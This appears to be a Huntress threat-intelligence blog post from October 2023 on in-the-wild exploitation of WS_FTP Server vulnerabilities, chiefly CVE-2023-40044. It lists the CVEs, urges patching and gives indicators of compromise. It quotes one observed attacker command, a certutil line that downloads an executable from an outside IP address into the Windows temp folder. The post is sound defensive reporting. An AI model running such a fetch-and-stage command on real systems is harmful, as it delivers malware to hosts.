---
title: "Critical Vulnerabilities: WS_FTP Exploitation"
description: Huntress is actively investigating numerous vulnerabilities affecting the WS_FTP Server Ad Hoc Transfer Module observed in the wild.
---

[Huntress Blog ](https://3911692.hs-sites.com/blog)

# [Critical Vulnerabilities: WS_FTP Exploitation](https://3911692.hs-sites.com/blog/critical-vulnerabilities-ws_ftp-exploitation)

 Written by [Team Huntress](https://3911692.hs-sites.com/blog/author/team-huntress) | Oct 2, 2023 11:47:03 PM

On Thursday, September 28, 2023, software vendor [Progress released a security advisory](https://community.progress.com/s/article/WS-FTP-Server-Critical-Vulnerability-September-2023) for numerous vulnerabilities affecting the WS_FTP Server Ad Hoc Transfer Module within their WS_FTP software.

These vulnerabilities were disclosed as:

- [CVE-2023-40044](https://www.cve.org/CVERecord?id=CVE-2023-40044) (CVSS: 10)
- [CVE-2023-42657](https://www.cve.org/CVERecord?id=CVE-2023-42657) (CVSS 9.9)
- [CVE-2023-40045](https://www.cve.org/CVERecord?id=CVE-2023-40045) (CVSS 8.3)
- [CVE-2023-40046](https://www.cve.org/CVERecord?id=CVE-2023-40046) (CVSS 8.2)
- [CVE-2023-40048](https://www.cve.org/CVERecord?id=CVE-2023-40048) (CVSS 6.8)
- [CVE-2022-27665](https://www.cve.org/CVERecord?id=CVE-2022-27665) (CVSS 6.1)
- [CVE-2023-40049](https://www.cve.org/CVERecord?id=CVE-2023-40049) (CVSS 5.3)

Most notable amongst these were CVE-2023-40044 and CVE-2023-42657, both critical severity issues. Throughout this past weekend, the cybersecurity industry has been chasing CVE-2023-40044 specifically.

## What We Know So Far

[As disclosed by Progress](https://community.progress.com/s/article/WS-FTP-Server-Critical-Vulnerability-September-2023), CVE-2023-40044 is the critical (CVSS: 10) remote code execution vulnerability that does not require authentication.

For more technical details surrounding the vulnerability details, we recommend you review the [AssetNote writeup](https://www.assetnote.io/resources/research/rce-in-progress-ws-ftp-ad-hoc-via-iis-http-modules-cve-2023-40044) as that team had originally reported CVE-2023-40044.

> Our team at [@assetnote](https://twitter.com/assetnote?ref_src=twsrc%5Etfw) has published the blog post on the Progress WS_FTP RCE (CVE-2023-40044). It was fun to find an RCE in the middleware layer (IIS HTTP Module), and it was also quite surprising that the exploit did not require authentication: [https://t.co/W7MdGNXvLH](https://t.co/W7MdGNXvLH) [pic.twitter.com/CoGFp4Uf8A](https://t.co/CoGFp4Uf8A)
> 
> — shubs (@infosec_au) [October 1, 2023](https://twitter.com/infosec_au/status/1708271663182381240?ref_src=twsrc%5Etfw)

A [handful](https://censys.com/cve-2023-40044/) of other vendors and [security researchers](https://twitter.com/MCKSysAr/status/1707855204647899194) have recreated a proof-of-concept for exploiting this vulnerability.

To show you what this vulnerability looks like from the offensive side, here’s a technical demonstration from Matt Kiely, Principal Security Researcher at Huntress.

## What Is Huntress Doing?

Huntress has observed in-the-wild exploitation in a very small number of cases within our partner base. 

Spawned under the `w3wp.exe` (IIS worker process), we observed PowerShell syntax like the following:

On other endpoints, we observed certutil commands similar to the following:

```
certutil -urlcache -f http://103.163.187.12:8080/cz3eKnhcaD0Fik7Eexo66A C:\WINDOWS\TEMP\zpvmRqTOsP.exe
```

**If you have not already, please patch to the latest version of WS_FTP, `WS_FTP Server 2022.0.2 (8.8.2)` and `WS_FTP Server 2020.0.4 (8.7.4)` as referenced in the Progress security advisory.**

The Huntress team is actively chasing this threat, and we will update this blog as we have more information and analysis. 

### Indicators of Compromise

- 103[.]163[.]187[.]12:8080
- 64[.]227[.]126[.]135
- 86[.]48[.]3[.]172
- 103[.]163[.]187[.]12
- 161[.]35[.]27[.]144
- 162[.]243[.]161[.]105
- C:\Windows\TEMP\zpvmRqTOsP.exe
- C:\Windows\TEMP\ZzPtgYwodVf.exe

*Special thanks to John Hammond and Matt Kiely for their contributions to this writeup.*

[View full post](https://3911692.hs-sites.com/blog/critical-vulnerabilities-ws_ftp-exploitation)

```json
{
  "@context" : "http://schema.org",
  "@type" : "BlogPosting",
  "author" : {
    "@type" : "Person",
    "name" : "Team Huntress"
  },
  "dateModified" : "2023-10-03T06:19:09.332Z",
  "datePublished" : "2023-10-02T23:47:03Z",
  "headline" : "Critical Vulnerabilities: WS_FTP Exploitation",
  "image" : {
    "@type" : "ImageObject",
    "height" : 240,
    "url" : "https://www.huntress.com/hubfs/Rapid%20Response%20-%20Thumb%20WS_FTP.png",
    "width" : 400
  },
  "mainEntityOfPage" : "https://3911692.hs-sites.com/blog/critical-vulnerabilities-ws_ftp-exploitation",
  "publisher" : {
    "@type" : "Organization",
    "logo" : {
      "@type" : "ImageObject",
      "height" : 60,
      "url" : "/hs/hsstatic/content_shared_assets/static-1.4092/img/default-amp-logo.png",
      "width" : 60
    },
    "name" : "Huntress Blog"
  }
}
```